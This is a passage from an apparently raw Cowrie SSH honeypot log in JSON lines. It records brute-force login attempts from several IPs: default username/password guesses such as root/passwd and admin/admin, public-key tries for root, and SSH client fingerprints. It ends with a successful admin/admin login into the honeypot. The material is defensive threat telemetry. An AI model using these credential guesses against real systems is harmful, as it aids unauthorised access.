16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:37.123710Z","src_ip":"38.93.206.2","session":"2c21710e1c1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sochi2014","message":"login attempt [root/sochi2014] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:37.321125Z","src_ip":"38.93.206.2","session":"2c21710e1c1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:38.395051Z","src_ip":"38.93.206.2","session":"2c21710e1c1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":51362,"dst_ip":"159.203.135.109","dst_port":22,"session":"3605c2721e3a","protocol":"ssh","message":"New connection: 193.32.162.151:51362 (159.203.135.109:22) [session: 3605c2721e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:38.541880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:38.548270Z","src_ip":"193.32.162.151","session":"3605c2721e3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:38.650698Z","src_ip":"193.32.162.151","session":"3605c2721e3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hmsftp","password":"hmsftp","message":"login attempt [hmsftp/hmsftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:38.962427Z","src_ip":"193.32.162.151","session":"3605c2721e3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38120,"dst_ip":"159.203.135.109","dst_port":22,"session":"90db2b7d380e","protocol":"ssh","message":"New connection: 83.168.110.85:38120 (159.203.135.109:22) [session: 90db2b7d380e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:39.357935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:39.368185Z","src_ip":"83.168.110.85","session":"90db2b7d380e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:39.489511Z","src_ip":"83.168.110.85","session":"90db2b7d380e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:39.852504Z","src_ip":"83.168.110.85","session":"90db2b7d380e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:40.113642Z","src_ip":"193.32.162.151","session":"3605c2721e3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:41.084648Z","src_ip":"83.168.110.85","session":"90db2b7d380e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.159.104.219","src_port":59424,"dst_ip":"10.17.0.5","dst_port":22,"session":"771bf4ba471f","protocol":"ssh","message":"New connection: 51.159.104.219:59424 (10.17.0.5:22) [session: 771bf4ba471f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:42.974173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:42.979657Z","src_ip":"51.159.104.219","session":"771bf4ba471f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:43.066444Z","src_ip":"51.159.104.219","session":"771bf4ba471f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:73:f4:a5:03:a3:6f:10:b7:61:7f:fe:7f:e1:2c:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD/S7cpNY/Z5SWt0JneOQ+2Dct1mRsS90l9cwCPgkK7++oMlTkRkdG9EruCqA1BdAA+lhFzFz3x5wkuH3XVkGVE+GwWLYI/+Bo9uQLSt76G8dL4n69KQH42UDLYa9q6J5C/6eX3xkzWHyGzPaIvX6FfY0KJ17CddAZwDEAhDLf0xjsR8dJ7ic76N0chgYamLnfyIhvC49CfL6b2/uwttOiqwjMubQTflhBFKk7MjhkFf8MQEWy7fSBW+0V31aoat+vVl1YTaANhJ8mixoVdhD+r9ukYGifW9JXnVJYj2O+ulyTVuv0Dyek8+Evmnu3uJtU/hSqzHZVnPynkLI0wrwp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:73:f4:a5:03:a3:6f:10:b7:61:7f:fe:7f:e1:2c:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:43.466707Z","src_ip":"51.159.104.219","session":"771bf4ba471f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:73:f4:a5:03:a3:6f:10:b7:61:7f:fe:7f:e1:2c:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD/S7cpNY/Z5SWt0JneOQ+2Dct1mRsS90l9cwCPgkK7++oMlTkRkdG9EruCqA1BdAA+lhFzFz3x5wkuH3XVkGVE+GwWLYI/+Bo9uQLSt76G8dL4n69KQH42UDLYa9q6J5C/6eX3xkzWHyGzPaIvX6FfY0KJ17CddAZwDEAhDLf0xjsR8dJ7ic76N0chgYamLnfyIhvC49CfL6b2/uwttOiqwjMubQTflhBFKk7MjhkFf8MQEWy7fSBW+0V31aoat+vVl1YTaANhJ8mixoVdhD+r9ukYGifW9JXnVJYj2O+ulyTVuv0Dyek8+Evmnu3uJtU/hSqzHZVnPynkLI0wrwp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:43.470777Z","src_ip":"51.159.104.219","session":"771bf4ba471f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:97:b6:ea:6d:9e:ca:db:6f:b1:8d:33:21:ef:5c:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZKz1BMazPqfXatHkvjx92s5JvH1YdzkJGxzlgSzWHYMEj2dFwsi9QsWek1wyvrH34GMkITktdLsZOwFtKU4pI/K9KrGQIUKFbkh1gvuawX+HzcUbsyXutrIrFe4r1kvCDnGxvuZwKw/bASGznPvLOrQAwEQgrVxLoNzeHgLu4u9HfjsB4aNS0QFb52mZlKjUJ8Gk5FsGswhIbkanHkRq2JOjHR2lcXbQIV0Qh6rik6iR5eoCPSus9i4exwNX16+h08+CQG3DDx7CIlGX9yKYFXQdRblEuo9uCDCyrzKlKBCkjr6owJFB/mH2EBM5DhcCpYb+YwtRjogNRZICcjMKB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:97:b6:ea:6d:9e:ca:db:6f:b1:8d:33:21:ef:5c:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:43.559812Z","src_ip":"51.159.104.219","session":"771bf4ba471f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:97:b6:ea:6d:9e:ca:db:6f:b1:8d:33:21:ef:5c:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZKz1BMazPqfXatHkvjx92s5JvH1YdzkJGxzlgSzWHYMEj2dFwsi9QsWek1wyvrH34GMkITktdLsZOwFtKU4pI/K9KrGQIUKFbkh1gvuawX+HzcUbsyXutrIrFe4r1kvCDnGxvuZwKw/bASGznPvLOrQAwEQgrVxLoNzeHgLu4u9HfjsB4aNS0QFb52mZlKjUJ8Gk5FsGswhIbkanHkRq2JOjHR2lcXbQIV0Qh6rik6iR5eoCPSus9i4exwNX16+h08+CQG3DDx7CIlGX9yKYFXQdRblEuo9uCDCyrzKlKBCkjr6owJFB/mH2EBM5DhcCpYb+YwtRjogNRZICcjMKB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:43.564074Z","src_ip":"51.159.104.219","session":"771bf4ba471f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:3b:48:8c:4d:1a:92:d1:8c:96:3d:6a:fa:e3:89:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyUTw5je7WlPqOEKP68b6uHPriOiwsD9lp4fxmUB4j/yfPyYTET0Sx4T/2L41xcc0+val7BHCuHvzSbRVAOS83mUeDkqze+IJd4i4it6ro/Kqzs76BOD3n1gh41IFSmYSvLhfzKmm+4dG/pjEJi7KwXg+O5NQ75E7uXOvNdBWQGlMHIoO6TohijKYX1z7uzC4QJTQZcTio5CEBvJpJj+I9DMpfUHw7GbF297uwPubLQwXUHZV1yBdhLla8Xg4b48UgySowVeZnZpn+d1eRmzQcWglDJ/RIFeIpxbsxKBcUWtKjNY6/viau502qjvlebVitXVtqWruWwYbHwfmNZVIOQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:3b:48:8c:4d:1a:92:d1:8c:96:3d:6a:fa:e3:89:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:43.649971Z","src_ip":"51.159.104.219","session":"771bf4ba471f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:3b:48:8c:4d:1a:92:d1:8c:96:3d:6a:fa:e3:89:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyUTw5je7WlPqOEKP68b6uHPriOiwsD9lp4fxmUB4j/yfPyYTET0Sx4T/2L41xcc0+val7BHCuHvzSbRVAOS83mUeDkqze+IJd4i4it6ro/Kqzs76BOD3n1gh41IFSmYSvLhfzKmm+4dG/pjEJi7KwXg+O5NQ75E7uXOvNdBWQGlMHIoO6TohijKYX1z7uzC4QJTQZcTio5CEBvJpJj+I9DMpfUHw7GbF297uwPubLQwXUHZV1yBdhLla8Xg4b48UgySowVeZnZpn+d1eRmzQcWglDJ/RIFeIpxbsxKBcUWtKjNY6/viau502qjvlebVitXVtqWruWwYbHwfmNZVIOQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:43.653228Z","src_ip":"51.159.104.219","session":"771bf4ba471f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:03:bd:6c:b9:38:9d:ca:1c:f8:cd:38:82:b4:6e:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxTbqk2lTqbPraZz4AzaJrUvpNPF9z5DnDPxRXqETgMWqZMbMpJorovStaky+/7quvg1RhGN3F6BpGeAaRfo3Y16J4ScmEmKMFKzxFttFiLOscZf3SNuHBU6IT9X0yyiYw1+mIS3wGMT3AIgYlVHYEMwR928PaFdCgdy4UZwSnThv7iVkCrkFkpjcleGQchqy6tOw2fOn0jx6PTEbo1yZ/D8q7zWsD5cM/3iNbnC80Yfuprrm1KZ/ayD+mx7w/tf0VZ+dINdywggM1fHL1utm0pgXvComhmotFNBpkzzYQ8nlqWwUZrFQsfKZCtQQje/QmiWcfVrXMt8eg8TDdUqTJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:03:bd:6c:b9:38:9d:ca:1c:f8:cd:38:82:b4:6e:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:43.737631Z","src_ip":"51.159.104.219","session":"771bf4ba471f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:03:bd:6c:b9:38:9d:ca:1c:f8:cd:38:82:b4:6e:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxTbqk2lTqbPraZz4AzaJrUvpNPF9z5DnDPxRXqETgMWqZMbMpJorovStaky+/7quvg1RhGN3F6BpGeAaRfo3Y16J4ScmEmKMFKzxFttFiLOscZf3SNuHBU6IT9X0yyiYw1+mIS3wGMT3AIgYlVHYEMwR928PaFdCgdy4UZwSnThv7iVkCrkFkpjcleGQchqy6tOw2fOn0jx6PTEbo1yZ/D8q7zWsD5cM/3iNbnC80Yfuprrm1KZ/ayD+mx7w/tf0VZ+dINdywggM1fHL1utm0pgXvComhmotFNBpkzzYQ8nlqWwUZrFQsfKZCtQQje/QmiWcfVrXMt8eg8TDdUqTJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:43.741635Z","src_ip":"51.159.104.219","session":"771bf4ba471f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:d2:e8:c1:dc:8a:6f:dc:0e:11:8a:b8:a1:4f:be:2b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID3Rz9K5U6KEqUEHI3ZhYlOzdisrP1DZ1nXFaa3OBfCy","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e6:d2:e8:c1:dc:8a:6f:dc:0e:11:8a:b8:a1:4f:be:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:43.827612Z","src_ip":"51.159.104.219","session":"771bf4ba471f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:d2:e8:c1:dc:8a:6f:dc:0e:11:8a:b8:a1:4f:be:2b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID3Rz9K5U6KEqUEHI3ZhYlOzdisrP1DZ1nXFaa3OBfCy","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:43.831548Z","src_ip":"51.159.104.219","session":"771bf4ba471f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:43.918702Z","src_ip":"51.159.104.219","session":"771bf4ba471f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57582,"dst_ip":"159.203.135.109","dst_port":22,"session":"369d93c50a6a","protocol":"ssh","message":"New connection: 83.168.110.85:57582 (159.203.135.109:22) [session: 369d93c50a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:49.711341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:49.716383Z","src_ip":"83.168.110.85","session":"369d93c50a6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:49.837282Z","src_ip":"83.168.110.85","session":"369d93c50a6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:50.201156Z","src_ip":"83.168.110.85","session":"369d93c50a6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:51.481242Z","src_ip":"83.168.110.85","session":"369d93c50a6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":1594,"dst_ip":"10.17.0.5","dst_port":22,"session":"03f6ee25dbed","protocol":"ssh","message":"New connection: 87.251.64.176:1594 (10.17.0.5:22) [session: 03f6ee25dbed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:58.346997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:58.352013Z","src_ip":"87.251.64.176","session":"03f6ee25dbed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:58.515795Z","src_ip":"87.251.64.176","session":"03f6ee25dbed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:58.998517Z","src_ip":"87.251.64.176","session":"03f6ee25dbed","protocol":"ssh"}
